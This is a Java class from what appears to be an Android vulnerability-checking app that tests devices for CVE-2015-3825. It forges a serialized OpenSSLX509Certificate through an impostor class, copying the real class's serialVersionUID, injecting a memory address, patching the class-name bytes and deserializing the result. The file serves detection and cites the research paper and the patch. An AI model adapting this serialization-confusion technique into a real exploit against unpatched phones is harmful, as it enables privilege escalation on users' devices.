package fuzion24.device.vulnerability.vulnerabilities.framework.serialization; import android.content.Context; import android.os.Build; import android.util.Log; import com.android.org.conscrypt.ZpenSSLX509Certificate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.ObjectStreamClass; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; import java.util.List; //Some code was borrowed from AOSP /* * Copyright 2015 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ import fuzion24.device.vulnerability.util.CPUArch; import fuzion24.device.vulnerability.vulnerabilities.VulnerabilityTest; /** * Created by fuzion24 on 8/25/15. */ /* Article: https://securityintelligence.com/one-class-to-rule-them-all-new-android-serialization-vulnerability-gives-underprivileged-apps-super-status/ Paper: https://www.usenix.org/system/files/conference/woot15/woot15-paper-peles.pdf Patches: https://android.googlesource.com/platform/external/conscrypt/+/cb573b28f1c0ec2456682569bd254cb34815659a%5E%21/#F0 */ public class OpenSSLTransientBug implements VulnerabilityTest { static { System.loadLibrary("x509serializationhelper"); } private native long getPositiveIntLocation(); private static final String TAG = "openSSLSerializationBug"; @Override public String getCVEorID() { return "CVE-2015-3825"; } @Override public List<CPUArch> getSupportedArchitectures() { ArrayList<CPUArch> archs = new ArrayList<CPUArch>(); archs.add(CPUArch.ARM); archs.add(CPUArch.ARM7); archs.add(CPUArch.ARM8); return archs; } @Override public boolean isVulnerable(Context context) throws Exception { /* AOSP switched from bouncy castle to conscrypt in 4.4 This can be validated by looking at the preloaded classes: https://github.com/android/platform_frameworks_base/blob/jb-mr2-release/preloaded-classes https://github.com/android/platform_frameworks_base/blob/kitkat-release/preloaded-classes Notice that conscrypt classes exist in KitKat 4.4 SDK 19 but not in Jellybean 4.3 MR SDK 18 */ if(Build.VERSION.SDK_INT < Build.VERSION_CODES.KITKAT){ return false; } Class openSSLX509CertificateClass = Class.forName("com.android.org.conscrypt.OpenSSLX509Certificate"); ObjectStreamClass clDesc = ObjectStreamClass.lookup(openSSLX509CertificateClass); if (clDesc == null) { //TODO this is bad Log.d(TAG, "clDESC is null"); throw new Exception("clDesc is null for OpenSSLECPrivateKey"); } // Set our fake class's serialization UID. Field targetUID = ZpenSSLX509Certificate.class.getDeclaredField("serialVersionUID"); targetUID.setAccessible(true); targetUID.set(null, clDesc.getSerialVersionUID()); final byte[] impostorBytes; // Serialization { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); long decrementAddress = getPositiveIntLocation(); Log.d(TAG, "Decrement address: " + Long.toHexString(decrementAddress)); oos.writeObject(new ZpenSSLX509Certificate(decrementAddress - 0x10)); oos.close(); impostorBytes = baos.toByteArray(); } // Fix class name { boolean fixed = false; for (int i = 0; i < impostorBytes.length - 4; i++) { if (impostorBytes[i] == 'Z' && impostorBytes[i + 1] == 'p' && impostorBytes[i + 2] == 'e' && impostorBytes[i + 3] == 'n') { impostorBytes[i] = 'O'; fixed = true; break; } } } // Deserialization { ByteArrayInputStream bais = new ByteArrayInputStream(impostorBytes); ObjectInputStream ois = new ObjectInputStream(bais); Object cert = ois.readObject(); ois.close(); Method m = openSSLX509CertificateClass.getDeclaredMethod("getContext"); m.setAccessible(true); long ctx = (long) m.invoke(cert); if(ctx == 0L){ return false; } } return true; } }